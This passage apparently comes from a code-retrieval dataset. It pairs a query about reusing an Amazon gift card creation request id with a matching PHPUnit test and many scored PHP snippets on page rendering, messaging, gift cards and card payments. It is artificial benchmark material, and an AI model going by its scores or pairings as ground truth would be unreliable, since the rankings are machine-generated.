CustomBlocks::getActiveBlocksByRegionId(SiteRegions::CUSTOM_PAGE_CONTENT_BOTTOM_RIGHT, CustomBlocks::BLOCK_TYPE_CUSTOM_PAGE, $url, $Academic_unit_details->Id);\n }\n } else {\n $content['no_details'] = 'The requested page or section is not found';\n }\n } else {\n $content['no_details'] = 'The requested page or section is not found';\n }\n }\n\n return $this->render('//site/college/basic_page', $content);\n }", "title": "" }, { "docid": "ee1fcbcc5fd4304658e3aca566c47458", "score": "0.53602594", "text": "public function pagosMeses()\n\t{\n //vista_completa('pagosMeses_view');\n vista_admin('pagosMeses_view');\n\t}", "title": "" }, { "docid": "d8006d64ffb3d1a45f7fb69d7623c703", "score": "0.53599846", "text": "function iwBookingLogRenderPage() {\n $paging = new iwPaging();\n $logs = new iwBookingLog();\n $start = $paging->findStart(IW_LIMIT_ITEMS);\n $count = count($logs->getAllLogs());\n $pages = $paging->findPages($count, IW_LIMIT_ITEMS);\n $logOnPage = $logs->getLogsPerPage($start, IW_LIMIT_ITEMS);\n include_once 'views/logs.list.php';\n}", "title": "" }, { "docid": "d43cd6b6e47567facdc6ad87cdbfc05e", "score": "0.5358957", "text": "public function index()\n {\n $messages = Message::paginate(10);\n\n return view('messages.index', ['messages' => $messages]);\n }", "title": "" }, { "docid": "306aa2773d9e2881c7245d2c3c4d0b16", "score": "0.53579855", "text": "public function pageInscription() {\n require('view/inscription.php');\n }", "title": "" }, { "docid": "a8d36e8fc88c2722e37b6d44880dd703", "score": "0.53569275", "text": "public function index()\n {\n return view('admin.messages.index', [\n 'messages' => ContactMessage::orderByDesc('created_at')->simplePaginate(20)\n ]);\n }", "title": "" }, { "docid": "dd3cba1211b4d439129bc99de14622d8", "score": "0.53540635", "text": "function sent()\n\t{\n\t\tif (!$this->ion_auth->logged_in())\n\t\t{\n\t\t\t// redirect them to the login page\n\t\t\tredirect('auth/login', 'refresh');\n\t\t}\n\t\t$this->data['title'] = \"List Sent Messages\";\n\t\t$this->data['header_title'] = \"List Sent Messages\";\n\t\t$this->data['message'] = (validation_errors()) ? validation_errors() : $this->session->flashdata('message');\n\t\t$this->data['messagetype'] = $this->session->flashdata('messagetype');\n\t\t/*pagination Classes*/\n\t\t$this->_settings=$this->settings_model->get_settings();\n\t\t$this->data['total']=$this->messages_model->count_allsentmessages();\n\t\t$this->data['per_page']=$this->_settings->per_page;\n\t\t$this->data['pagination']=$this->_pagination(base_url().'index.php/messages/sent/',$this->data['total'],$this->data['per_page']);\n\t\t$this->data['page'] = ($this->uri->segment(3)) ? $this->uri->segment(3) : 0;\n\t\t$this->data['messages']=$this->messages_model->get_allsentmessages($this->data['per_page'], $this->data['page']);\n\t\t$this->_render_pages('messages_view', $this->data);\n\t}", "title": "" }, { "docid": "8552b6739ddca58fdc7587f8a87e2cf7", "score": "0.5351846", "text": "public function showPage()\n {\n if (array_key_exists('fixup', $_REQUEST) && array_key_exists('key', $_REQUEST))\n {\n WClient::fixup($_REQUEST['fixup'], $_REQUEST['key']);\n }\n\n // Access control\n WClient::initCurrent();\n if (!WClient::id() || !WClient::me()->isMember() && !WClient::me()->isMaster())\n {\n header('Location: ' . Base::bas() . 'biz/');\n return true;\n }\n\n // DB Repair\n if (WClient::me()->isMaster() && !WClient::me()->isMember())\n {\n if (!DB::getAdminDB()->insertValues(WMember::TABLE_MEMBER, array('client_id' => WClient::id())))\n {\n $error = 'Error inserting a record to a database table';\n if (Base::ajax())\n echo \"{'error':'$error'}\";\n else\n echo \"$error<br/>\\n\";\n return false;\n }\n }\n\n $ctrId = self::ctrId();\n if ($ctrId !== false)\n WCentre::initCurrent($ctrId, true);\n\n /// Mode processing goes here\n if (Base::mode() == 'ctr')\n {\n if (!WCentre::id())\n return false;\n if ((WCentre::memberId() != WClient::id()) && !WCentre::masterId())\n return false;\n if (Base::par() == 'srv')\n {\n WService::initCurrent(Base::parIndex());\n if ((WCentre::memberId() != WClient::id()) && !WCentre::masterId())\n return false;\n }\n }\n else\n {\n if (Base::par() == 'bnd')\n {\n WBrand::initCurrent(Base::parIndex());\n if ((WBrand::memberId() != WClient::id()))\n return false;\n }\n }\n\n /// Common command processing goes here\n if (array_key_exists('cmd', $_REQUEST))\n {\n return self::processCmd($_REQUEST['cmd']);\n }\n\n /// Par processing goes here\n $art = &PageComArt::art(Base::par());\n $art->init();\n\n /// Action processing goes here\n if (array_key_exists('action', $_REQUEST))\n {\n if (!$art->canBeShown())\n self::ajaxErrorAccessDenied();\n else if ($art->processAnyAction($_REQUEST['action']))\n $this->addToAjax('result', 'OK');\n echo JSON::encode(self::$ajax);\n return true;\n }\n\n /// Autocomplete query processing goes here\n if (array_key_exists('ac', $_REQUEST))\n {\n if (!$art->canBeShown())\n self::ajaxErrorAccessDenied();\n else if (!$art->processAnyAcQuery($_REQUEST['ac'], $_REQUEST['term']))\n return false;\n echo JSON::encode(self::$ajax['data']);\n return true;\n }\n\n if (Base::ajax())\n {\n echo JSON::encode(self::getAjaxData($art));\n return true;\n }\n\n if (!$art->canBeShown())\n return false;\n\n $art->initData(); ///< Must be called before getArtTitle()\n Base::setTitle($art->getArtTitle(true));\n\n return Base::executeTextFile('php/com.php');\n }", "title": "" } ]
6010ae17a9ba613955420755ad1fa987
Buy a gift card and use same creation request id to get another gift card has to return same data ggain
[ { "docid": "a10f11ba07aca767f4669f1ccd5c282c", "score": "0.0", "text": "public function testAwsIncentivesSameBuyGiftCard(\n array $connect,\n bool $mock,\n ?array $mock_response,\n float $amount\n ): void {\n // load class\n $agcod = $this->awsIncentivesStartUp(\n $connect,\n $mock,\n $mock_response,\n );\n // get one\n $response_a = $agcod->buyGiftCard($amount);\n // get one again with same code\n $response_b = $agcod->buyGiftCard($amount, $response_a->getCreationRequestId());\n\n // a and b must be equalt\n $this->assertEquals(\n $response_a->getStatus(),\n $response_b->getStatus(),\n 'Assert status'\n );\n $this->assertEquals(\n $response_a->getCardStatus(),\n $response_b->getCardStatus(),\n 'Assert card status'\n );\n $this->assertEquals(\n $response_a->getValue(),\n $response_b->getValue(),\n 'Assert card amount value'\n );\n $this->assertEquals(\n $response_a->getCurrency(),\n $response_b->getCurrency(),\n 'Assert card amount currency'\n );\n $this->assertEquals(\n $response_a->getCreationRequestId(),\n $response_b->getCreationRequestId(),\n 'Assert creation request id'\n );\n $this->assertEquals(\n $response_a->getId(),\n $response_b->getId(),\n 'Assert gift card id'\n );\n $this->assertEquals(\n $response_a->getClaimCode(),\n $response_b->getClaimCode(),\n 'Assert claim code'\n );\n $this->assertEquals(\n $response_a->getExpirationDate(),\n $response_b->getExpirationDate(),\n 'Assert expiration date'\n );\n }", "title": "" } ]
[ { "docid": "abbf1938e5043dd45cea4bc4901c5db4", "score": "0.6233827", "text": "public function visitgiftAction()\n {\n $uid = $this->_user->getId();\n $randGift = $this->getParam('CF_rand');\n $this->view->mode = '1';\n\n //get daily gift\n if (!empty($randGift)) {\n $rowUserDynamite = $this->_dynamiteInfo;\n //is today first login\n require_once 'Dal/Dynamite/User.php';\n $dalUser = Dal_Dynamite_User::getDefaultInstance();\n $lastLoginTime = $rowUserDynamite['last_login_time'];\n $todayTime = strtotime(date(\"Y-m-d\"));\n if (empty($lastLoginTime) || $lastLoginTime >= $todayTime) {\n $this->_redirect($this->_baseUrl . '/mobile/dynamite/home');\n \treturn;\n }\n //send gift\n require_once 'Bll/Dynamite/Index.php';\n $bllGift = new Bll_Dynamite_Index();\n $itemId = $bllGift->isTodayFirstLogin($uid);\n //update user login time\n $dalUser->updateLastLoginTime($uid);\n\n $this->view->canUse = '0';\n if ($itemId < 11) {\n require_once 'Dal/Dynamite/Item.php';\n $dalItem = Dal_Dynamite_Item::getDefaultInstance();\n $rowItem = $dalItem->getItemInfo($itemId);\n require_once 'Bll/Dynamite/Item.php';\n $bllItem = new Bll_Dynamite_Item();\n $this->view->canUse = ($bllItem->checkCardCanUse($uid, $itemId) == 1) ? '1' : '0';\n if (empty($rowItem)) {\n $this->_redirect($this->_baseUrl . '/mobile/dynamite/home');\n return;\n }\n }\n else if (50 == $itemId) {\n $rowItem['cid'] = $itemId;\n $rowItem['name'] = 'ボーナス+500$';\n $rowItem['introduce'] = '500ドルの臨時ボーナスをゲットしました。';\n $rowItem['ismoney'] = '500';\n }\n else if (51 == $itemId) {\n $rowItem['cid'] = $itemId;\n $rowItem['name'] = 'ボーナス+1000$';\n $rowItem['introduce'] = '1000ドルの臨時ボーナスをゲットしました。';\n $rowItem['ismoney'] = '1000';\n }\n else if (52 == $itemId) {\n $rowItem['cid'] = $itemId;\n $rowItem['name'] = 'ボーナス+3000$';\n $rowItem['introduce'] = '3000ドルの臨時ボーナスをゲットしました。';\n $rowItem['ismoney'] = '3000';\n }\n else if (60 == $itemId) {\n $rowItem['cid'] = $itemId;\n $rowItem['name'] = 'ダイナマイト詰め合わせ(梅)';\n $rowItem['introduce'] = 'ダイナマイト2個の詰め合わせセットです。';\n }\n else if (61 == $itemId) {\n $rowItem['cid'] = $itemId;\n $rowItem['name'] = 'ダイナマイト詰め合わせ(竹)';\n $rowItem['introduce'] = 'ダイナマイト5個の詰め合わせセットです。';\n }\n else if (62 == $itemId) {\n $rowItem['cid'] = $itemId;\n $rowItem['name'] = 'ダイナマイト詰め合わせ(松)';\n $rowItem['introduce'] = 'ダイナマイト10個の詰め合わせセットです。';\n }\n\n $this->view->itemInfo = $rowItem;\n $this->view->mode = '2';\n }\n\n $this->render();\n }", "title": "" }, { "docid": "f43ef1a0baba6c604c77b4a82726e9aa", "score": "0.6191087", "text": "function give( $p_id=0 ){\n\t\t$this->db->where('p_id' , $p_id);\n\t\t$this->db->where('p_type' , \"Giftcard\");\n\t\t$this->db->where('p_status' , 'Active');\n\t\t$res = $this->db->get('product');\n\t\t$product = $res->row_array();\n\t\t$this->sci->assign('product' , $product);\n\n\t\t$this->load->library('form_validation');\n\t\t$this->form_validation->set_rules('to_all', '', 'trim|xss_clean');\n\t\tif($this->form_validation->run() == FALSE) {\n\t\t\t$this->sci->da('give.htm');\n\t\t} else {\n\t\t\t$to_all = $this->input->post('to_all');\n\t\t\tif($to_all == 'Yes') {\n\t\t\t\t//get all member that is active and has activate account\n\t\t\t\t$this->db->where('m_status' , 'Active');\n\t\t\t\t$this->db->where('m_is_active' , 'Yes');\n\t\t\t\t$res = $this->db->get('member');\n\t\t\t\t$all_member = $res->result_array();\n\n\t\t\t\t//create gift card for each member\n\t\t\t\tforeach($all_member as $k=>$tmp) {\n\t\t\t\t\t$this->db->set('gc_nominal' , $product['p_giftcard_nominal'] );\n\t\t\t\t\t$this->db->set('gc_name' , $product['p_name'] );\n\t\t\t\t\t$this->db->set('p_id' , $p_id );\n\t\t\t\t\t$this->db->set('m_id' , $tmp['m_id'] );\n\t\t\t\t\t$this->db->set('gc_is_used' , 'No' );\n\t\t\t\t\t$this->db->set('gc_entry' , 'NOW()', false );\n\t\t\t\t\t$this->db->set('gc_received_date' , 'NOW()', false );\n\t\t\t\t\t$this->db->set('gc_expire_date' , date_future('','+3months') );\n\t\t\t\t\t$this->db->set('gc_author' , $this->userinfo['u_id'] );\n\n\t\t\t\t\t//print \"m_id \".$tmp['m_id'].\" \";\n\t\t\t\t\t//print \"gcp \".$gcp_id.\" \";\n\t\t\t\t\t$next_code = $this->generate_code($p_id);\n\t\t\t\t\t//print \"next [$next_code] \";\n\t\t\t\t\t//print \" [\".strlen($next_code).\" digit]\";\n\t\t\t\t\t//print \"<hr>\";\n\n\t\t\t\t\t$this->db->set('gc_code' , $next_code );\n\t\t\t\t\t$ok = $this->db->insert('gift_card');\n\t\t\t\t\t$insert_id = $this->db->insert_id();\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->session->set_confirm(1);\n\t\t\tredirect($this->session->get_bread('list'));\n\t\t}\n\n\t}", "title": "" }, { "docid": "4095097845df04d82f1fd825c21a486b", "score": "0.61592126", "text": "protected function _prepareRegisterToken(){\r\n\r\n $payment = $this->_service->getPayment();\r\n $helper = $this->_getHelper();\r\n $cards = Mage::getModel('realex/realex_source_cards');\r\n $transactionReference = $this->_service->getTransactionReference();\r\n\r\n\r\n $request = array(\r\n 'attributes' => array(\r\n 'timestamp' => $helper->getTimestamp(),\r\n 'type' => 'card-new'\r\n ),\r\n 'merchantid' => array('value' => $helper->getConfigData('realex','vendor')),\r\n 'orderid' => array('value' => $transactionReference . '-card')\r\n );\r\n\r\n $card = array(\r\n\r\n 'ref' => array('value' => $helper->getCardReference($cards->getGatewayCardType($payment->getCcType()))),\r\n 'payerref' => array('value' => $this->_payerRef),\r\n 'number'=>array('value' => ($this->_service->getMd('card_number')?$this->_service->getMd('card_number'):$payment->getCcNumber())),\r\n 'expdate' =>array('value' => $helper->getCreditCardDate($payment)),\r\n 'chname' => array('value' => ($helper->ss($payment->getCcOwner(),100))),\r\n 'type' => array('value' => $cards->getGatewayCardType($payment->getCcType())),\r\n );\r\n\r\n if($payment->getCcSsIssue()){\r\n $card['issueno'] = array('value' => $payment->getCcSsIssue());\r\n }\r\n\r\n $request['card'] = $card;\r\n\r\n $sha1hash = array(\r\n $request['attributes']['timestamp'] ,\r\n $request['merchantid']['value'],\r\n $request['orderid']['value'],\r\n '',\r\n '',\r\n $this->_payerRef,\r\n $request['card']['chname']['value'],\r\n $request['card']['number']['value']\r\n );\r\n\r\n $request['sha1hash'] = array('value' => $helper->generateSha1Hash($helper->getConfigData('realex','secret'),$sha1hash));\r\n\r\n $this->_message->setData(array('request'=>$request));\r\n return $this;\r\n\r\n\r\n }", "title": "" }, { "docid": "fc070a9fd0d0532a00e8f1dbf3fa81ff", "score": "0.6143655", "text": "protected function _addGiftCard()\n {\n if ($this->getOrder()->getGiftCardsAmount() <= 0) {\n return;\n }\n\n $sku = $this->_getHelper()->__('gift_card');\n\n $this->_extras[] = array(\n \"qty\" => 1,\n \"sku\" => $sku,\n \"name\" => $this->_getHelper()->__('Gift Card'),\n \"price\" => ($this->getOrder()->getGiftCardsAmount() * -1),\n \"total_amount\" => ($this->getOrder()->getGiftCardsAmount() * -1),\n \"total_tax_amount\" => 0,\n );\n }", "title": "" }, { "docid": "af9acef23c9ed38971085f99903ff61a", "score": "0.61190957", "text": "function create_tangocard_reward($sku, $quantity, $unit_price) {\n $tc = new \\BlinkTangoCard\\TangoCardAPI();\n \n // Get the total cost of the product.\n $reward = \\Wapo\\TangoCardRewards::get_or_404(array(\"sku\"=>$sku, \"status\" => true), \"Reward not found.\");\n $total_cost = $unit_price * $quantity;\n \n // Create information to fund account.\n $cc_fund = array(\n \"customer\" => \\Blink\\TangoCardConfig::CUSTOMER,\n \"account_identifier\" => \\Blink\\TangoCardConfig::IDENTIFIER,\n \"amount\" => $total_cost,\n \"client_ip\" => \"55.44.33.22\", // ????\n \"security_code\" => \\Blink\\TangoCardConfig::SECURITY_CODE,\n \"cc_token\" => \\Blink\\TangoCardConfig::CC_TOKEN\n );\n\n $fund = $tc->request(\"cc_fund\", $cc_fund);\n // Check success.\n if (!$fund->success) {\n \\Blink\\raise500(\"Order could not be completed.\");\n }\n\n $orders = array();\n for($i = 1; $i <= $quantity; $i++) {\n $info = array(\n \"customer\" => \\Blink\\TangoCardConfig::CUSTOMER,\n \"account_identifier\" => \\Blink\\TangoCardConfig::IDENTIFIER,\n \"identifier\" => \\Blink\\TangoCardConfig::IDENTIFIER,\n \"recipient\" => array(\n \"name\" => \"John Doe\",\n \"email\" => \\Blink\\TangoCardConfig::EMAIL),\n \"sku\" => $sku, //'TNGO-E-V-STD',\n// \"amount\" => $reward->unit_price,\n \"reward_message\" => \"Thank you for participating in the XYZ survey.\",\n \"reward_subject\" => \"XYZ Survey, thank you...\",\n \"reward_from\" => \"Jon Survey Doe\"\n );\n \n // If this is a range one, include the 'amount' == 'unit_price'.\n if($reward->unit_price == -1) {\n $info['amount'] = (int) $unit_price;\n }\n\n $order = $tc->place_order($info);\n \n // Check success.\n $orders[] = (isset($order->order->order_id)) ? $order->order->order_id : '-';\n }\n \n return $orders;\n }", "title": "" }, { "docid": "fc74091d69f9dc4801c2989a8dfe81a8", "score": "0.6101279", "text": "public function paymyAction() {\n\n\n $sessionId = $this->_getParam('token', 0);\n $userId = $this->__validateToken($sessionId);\n\n //Validate Heder params\n $headersParams = $this->validateHeaderParams();\n\n $userAgent = $headersParams['userAgent'];\n $chapId = $headersParams['chapId'];\n\n $appId = $this->_getParam('appId');\n $buildId = $this->_getParam('build_Id');\n $mobileNo = $this->_getParam('mdn');\n\n //Testing Mobile No\n //$mobileNo = '5155328687';\n //$userAgent = \"Mozilla/5.0 (Linux; U; Android 1.5; fr-fr; Galaxy Build/CUPCAKE) AppleWebKit/525.10+ (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2\";\n //$chapId = 8056;\n //Check if App Id has been provided\n if ($appId === null || empty($appId)) {\n\n\n $this->__echoError(\"1001\", \"App Id not found\", self::BAD_REQUEST_CODE);\n\n }\n //Check if Chap Id has been provided\n if ($buildId === null || empty($buildId)) {\n\n\n $this->__echoError(\"1002\", \"Build Id not found\", self::BAD_REQUEST_CODE);\n\n }\n //Check if Chap Id has been provided\n if ($mobileNo === null || empty($mobileNo)) {\n\n\n $this->__echoError(\"5000\", \"Mobile Number not found\", self::BAD_REQUEST_CODE);\n }\n\n\n //Check if the app belongs to the CHAP\n $chapProductModel = new Api_Model_ChapProducts();\n $appCount = $chapProductModel->getProductCountByChap($chapId, $appId);\n\n if ($appCount == 0) {\n\n\n $this->__echoError(\"1003\", \"App does not belong to this partner\", self::BAD_REQUEST_CODE);\n\n }\n\n /******************************************************************* */\n\n //Detect the device id from thd db according to the given user agent\n $deviceId = $this->deviceAction($userAgent);\n\n //Check if the device was detected or not, if not retrun a message as below\n if ($deviceId === null || empty($deviceId)) {\n\n $this->__echoError(\"2000\", \"Device not found\", self::BAD_REQUEST_CODE);\n } else {\n\n //get the app details\n $productModel = new Api_Model_Products();\n $appDetails = $productModel->getProductDetailsbyId($appId);\n\n //Check if app details available\n if (is_null($appDetails)) {\n $this->__echoError(\"3001\", \"This app has been removed or does not exist\", self::BAD_REQUEST_CODE);\n }\n\n $productDownloadCls = new Nexva_Api_ProductDownload();\n $buildUrl = $productDownloadCls->getBuildFileUrl($appId, $buildId);\n\n //check whether the app has been downloaded 2 times or less, if it downloaded 2 times it wont allowed download anymore\n $userDownloadModel = new Api_Model_UserDownloads();\n $capable = $userDownloadModel->checkDownloadCapability($appId,$chapId,$userId,$buildId);\n\n if($capable)\n {\n /************* Add Statistics - Download *************************/\n $source = \"API\";\n $ipAddress = $this->getRequest()->getServer('REMOTE_ADDR');\n\n\n $model_ProductBuild = new Model_ProductBuild();\n $buildInfo = $model_ProductBuild->getBuildDetails($buildId);\n\n\n $modelQueue = new Partner_Model_Queue();\n $modelQueue->removeDownlaodedItem($userId, $chapId);\n\n $modelDownloadStats = new Api_Model_StatisticsDownloads();\n $modelDownloadStats->addDownloadStat($appId, $chapId, $source, $ipAddress, $userId, $buildId, $buildInfo->platform_id, $buildInfo->language_id, $deviceId, $sessionId);\n\n /******************End Statistics ******************************* */\n\n $downloadLink = array();\n $downloadLink['download_app'] = $buildUrl;\n\n $this->getResponse()\n ->setHeader('Content-type', 'application/json');\n\n //Here str_replace has been used to prevent of adding '/' when ecnoded by JSON\n //thre is a solution but ,JSON_UNESCAPED_UNICODE is only works in PHP 5.4+, http://php.net/manual/en/function.json-encode.php\n $encodedDownloadLink = str_replace('\\/', '/', json_encode($downloadLink));\n $this->loggerInstance->log('Response :: Pay app response not logged' ,Zend_Log::INFO);\n echo $encodedDownloadLink;\n\n //since the download link has already sent adding a download record for UserDownload table\n $userDownloadModel->addDownloadRecord($appId,$chapId,$userId,$buildId);\n }\n else\n {\n $this->__echoError(\"1004\", \"Maximum Allowed Download Limit Reached\", self::BAD_REQUEST_CODE);\n }\n }\n }", "title": "" }, { "docid": "82afddfbc6af96d6b93bb02b00245f14", "score": "0.6059331", "text": "protected function buyGift()\n {\n return null;\n }", "title": "" }, { "docid": "010584c51d969e5edaa3f2a300a4388a", "score": "0.6021454", "text": "public function payviacard(){\n \n $data = array('PBFPubKey' => env('RAVE_SID'),\n 'cardno' => '5438898014560229',\n 'currency' => 'NGN',\n 'country' => 'NG',\n 'cvv' => '789',\n 'amount' => '300000',\n 'suggested_auth' => 'pin',\n 'expiryyear'=>'19',\n 'expirymonth'=>'09',\n 'pin' => '3310',\n 'email' => '[email protected]',\n \"txRef\" => \"MC-\".now(),// your unique merchant reference\n \"redirect_url \"=> \"http://rave-webhook.herokuapp.com/receivepayment\",\n 'device_fingerprint' => '69e6b7f0sb72037aa8428b70fbe03986c');\n \n $SecKey = env('RAVE_SECRET');\n \n $key = self::getKey($SecKey); \n \n $dataReq = json_encode($data);\n \n $post_enc = self::encrypt3Des( $dataReq, $key );\n\n var_dump($dataReq);\n \n $data = array(\n 'PBFPubKey' => env('RAVE_SID'),\n 'client' => $post_enc,\n 'alg' => '3DES-24');\n\n $client = new Client(['verify' => false],['timeout' => 60]);\n\n $result = $client->request('POST','https://ravesandboxapi.flutterwave.com/flwv3-pug/getpaidx/api/charge', [\n 'json' => $data,\n 'headers' => [\n 'accept' => '*/*',\n 'Content-Type' => 'application/json'\n ]\n ]);\n $response = json_decode($result->getBody());\n if($response->status == \"success\"){\n return response()->json($response,200);\n }else{\n return response()->json($response, 100);\n }\n}", "title": "" }, { "docid": "72d8fb7616d35572b002f2c41515dcd5", "score": "0.5985312", "text": "public function payfort(Request $request){\n\t\t\t\t\t\t\t\t\t\t\t\t\n\ttry {\n\t\t\n\t\t$input = $this->sample_products();\n\t $config = $this->config();\n\t\t\t\n\t\t$open_api_key = \"\";//insert open api key.\n\t\t\n\t\t//Get the card details of the customer\n\t\t$card = array(\n \"number\" => \"\", \n \"exp_month\" => ,\n \"exp_year\" => ,\n \"cvc\" => \"\"\n );\n\t\n\t$api_key_to_restore = Start::getApiKey();\n\n Start::setApiKey($open_api_key);\n\n $token = Start_Token::create($card);\n\n Start::setApiKey($api_key_to_restore);\n\t\t\n\t\t\n\t\tStart::setApiKey('');//insert api key.\n\t\t$amount=0;\n\t\t$desc=\" \";\n\t\tfor($i=0;$i<3;$i++){\n\t\t\t$amount=$amount+ $input['product'][$i]['amount'];\n\t\t\t$desc=$desc.\" \".$input['product'][$i]['product_name'].\",\";\n\t\t\t}\n\n\n\n\t\t$data = array(\n \"amount\" => $amount,\n \"currency\" => $input['product'][0]['currency'],\n \"email\" => \"\",//Insert email id.\n \"card\" => $token[\"id\"],\n\t\t\t\"ip\"=>\"\",//Insert IP address.\n \"description\" => \"$desc\"\n );\n\t\t\n\t\t$charge = Start_Charge::create($data);\n\n //$this->assertEquals($charge[\"state\"], \"captured\");\n\n return $charge;\n} catch(Start_Error_Banking $e) {\n // Since it's a decline, Start_Error_Banking will be caught\n print('Status is:' . $e->getHttpStatus() . \"\\n\");\n print('Code is:' . $e->getErrorCode() . \"\\n\");\n print('Message is:' . $e->getMessage() . \"\\n\");\n\n} catch (Start_Error_Request $e) {\n // Invalid parameters were supplied to Start's API\n\n} catch (Start_Error_Authentication $e) {\n // There's a problem with that API key you provided\n\n} catch (Start_Error $e) {\n // Display a very generic error to the user, and maybe send\n // yourself an email\n\n} catch (Exception $e) {\n // Something else happened, completely unrelated to Start\n \n}\n\t\t\t\t\t\t\t\t\t\t }", "title": "" }, { "docid": "afe2fdfc2219576a77a2bb1519f12e2d", "score": "0.59812635", "text": "function rpgc_update_card( $order_id ) \r\n{\r\n\r\n\tglobal $woocommerce;\r\n \r\n $giftCard_id = WC()->session->giftcard_post;\r\n \tif ( $giftCard_id <> '' ) \r\n\t{\r\n\t\t $newBalance = wpr_get_total_giftcard_balance( $giftCard_id ) - WC()->session->giftcard_payment;\r\n // update_post_meta( $order_id, 'rpgc_check_code',0);\r\n\t\t// Check if the gift card ballance is 0 and if it is change the post status to zerobalance\r\n\t\tif( wpr_get_giftcard_balance( $giftCard_id ) == 0 )\r\n\t\t\twpr_update_giftcard_status( $giftCard_id, 'zerobalance' );\r\n $deduct_amount=WC()->session->giftcard_payment;\r\n\t $transaction_id=date('YmdHis');\r\n\t \r\n if(wpr_update_stm_giftcard_balance($giftCard_id, $newBalance,$deduct_amount,$transaction_id,$order_id))\r\n\t{\r\n\t update_post_meta( $order_id, 'rpgc_transaction_id', $transaction_id);\r\n\t\t$giftCard_IDs = get_post_meta ( $giftCard_id, 'wpr_existingOrders_id', true );\r\n\t\t$giftCard_IDs[] = $order_id;\r\n // wpr_update_stm_giftcard_balance($giftCard_id, $newBalance,$deduct_amount,$transaction_id,$order_id);\r\n\t\tupdate_post_meta( $giftCard_id, 'rpgc_balance', $newBalance ); // Update balance of Giftcard\r\n\t\t\r\n\t\tupdate_post_meta( $giftCard_id, 'wpr_existingOrders_id', $giftCard_IDs ); // Saves order id to gifctard post\r\n\t\tupdate_post_meta( $order_id, 'rpgc_gift_card_number', json_encode($giftCard_id) );\r\n\t\tupdate_post_meta( $order_id, 'rpgc_payment', WC()->session->giftcard_payment );\r\n\t\tupdate_post_meta( $order_id, 'rpgc_balance', $newBalance );\r\n\t\t//update_post_meta( $order_id, 'rpgc_transaction_id', $transaction_id );\r\n\r\n\t\tWC()->session->idForEmail = $order_id;\r\n\t\tunset( WC()->session->giftcard_payment, WC()->session->giftcard_post );\r\n\t}\r\n\telse\r\n\t{\r\n\techo '<h1>There are some problem on smart Trnsaction services </h1>';\r\n\t}\r\n\t}\r\n\r\n\tif ( isset ( WC()->session->giftcard_data ) ) {\r\n\t\tupdate_post_meta( $order_id, 'rpgc_data', WC()->session->giftcard_data );\r\n\r\n\t\tunset( WC()->session->giftcard_data );\r\n\t}\r\n\r\n}", "title": "" }, { "docid": "4b9295148dd5f00cf7d30ebea2af3ed9", "score": "0.5951836", "text": "function createSubscription($request){\n\t\t//Get product id\n\t\t$productID = $request->param('ProductID');\n\t\t// Get AttentionWizard member\n\t\t$member = Member::currentUser();\n\t\t//Get InfusionSoft Api\n\t\t$app = $this->getInfusionSoftApi();\n\t\t// Get IndusionSoft contact ID\n\t\t$isConID = $member->ISContactID;\n\t\t$product = Product::get()->byID($productID);\n\t\t$credits = $product->Credits;\n\t\t// Get existing credit card ID\n\t\t$creditCard = $this->getCurrentCreditCard($member->ID);\n\t\tif(!$creditCard){\n\t\t\t$this->setMessage('Error', 'Sorry,the payment failed,please update your credit card.');\n\t\t\treturn $this->redirect('/account-settings/#tabs-2');\n\t\t}\n\t\t$ccID = $creditCard->ISCCID;\n\t\t$subscriptionID = $this->createISSubscription($isConID,$product->ISProductID, $product->RecurringPrice, $ccID, 30);\n\t\tif($subscriptionID && is_int($subscriptionID)){\n\t\t\tif($productID == 1 && !$this->isCCUsedForTrial($creditCard->CreditCardNumber)){\n\t\t\t\t$orderAmount = $product->TrialPrice;\n\t\t\t\t$productName = \"30 days 1-dollar Trial\";\n\t\t\t\t$isProductID = 38;\n\t\t\t\t$trial = 1;\n\t\t\t\t$subscriptionCount = 0;\n\t\t\t}else{\n\t\t\t\t$productName = $product->Name;\n\t\t\t\t$orderAmount = $product->RecurringPrice;\n\t\t\t\t$isProductID = $product->ISInitialProductID;\n\t\t\t\t$trial = 0;\n\t\t\t\t$subscriptionCount = 1;\n\t\t\t}\n\t\t\t// Create an order\n\t\t\t$order = new Order();\n\t\t\t$order->OrderStatus = 'P';\n\t\t\t$order->Amount = $orderAmount;\n\t\t\t$order->MemberID = $member->ID;\n\t\t\t$order->ProductID = $productID;\n\t\t\t$order->CreditCardID = $creditCard->ID;\n\t\t\t$orderID = $order->write();\n\t\t\t//get the current date\n\t\t\t$curdate = $app->infuDate(date('j-n-Y'));\n\t\t\t//Create an infusionsoft order\n\t\t\t$config = SiteConfig::current_site_config(); \n\t\t\t$invoiceId = $app->blankOrder($isConID,$productName, $curdate, 0, 0);\n\t\t\t$orderItem = $app->addOrderItem($invoiceId, $isProductID, 9, floatval($orderAmount), 1, $productName, $productName);\n\t\t\t$result = $app->chargeInvoice($invoiceId,$productName,$ccID,$config->MerchantAccount,false);\n\t\t\tif($result['Successful']){\n\t\t\t\t// Update order\n\t\t\t\t$order->OrderStatus = 'c';\n\t\t\t\t$order->IsTrial = $trial;\n\t\t\t\t$order->write();\n\t\t\t\t// Create a Subscription record\n\t\t\t\t$nextBillDate = $this->getSubscriptionNextBillDate($subscriptionID);\n\t\t\t\t$expireDate= date('Y-m-d H:i:s', strtotime($nextBillDate));\n\t\t\t\t$startDate= date('Y-m-d H:i:s', strtotime($expireDate. \"-30 days\"));\n\t\t\t\t$subscription = new Subscription();\n\t\t\t\t$subscription->SubscriptionID = $subscriptionID;\n\t\t\t\t$subscription->StartDate = $startDate;\n\t\t\t\t$subscription->ExpireDate = $expireDate;\n\t\t\t\t$subscription->Status = 1;\n\t\t\t\t$subscription->IsTrial = $trial;\n\t\t\t\t$subscription->SubscriptionCount = $subscriptionCount;\n\t\t\t\t$subscription->MemberID = $member->ID;\n\t\t\t\t$subscription->ProductID = $productID;\n\t\t\t\t$subscription->OrderID = $orderID;\n\t\t\t\t$subscription->write();\n\t\t\t\t// Create a MemberCredits record\n\t\t\t\t$memberCredits = new MemberCredits();\n\t\t\t\t$memberCredits->Credits = $credits;\n\t\t\t\t$memberCredits->ExpireDate = $expireDate;\n\t\t\t\t$memberCredits->MemberID = $member->ID;\n\t\t\t\t$memberCredits->ProductID = $productID;\n\t\t\t\t$memberCredits->SubscriptionID = $subscription->ID;\n\t\t\t\t$memberCredits->write();\n\t\t\t\t//Get contact custom fields\n\t\t\t\t$returnFields = array('_AWofmonths','_AWstartdate');\n\t\t\t\t$conDat1 = $app->loadCon($isConID,$returnFields);\n\t\t\t\tif($productID == 1 && 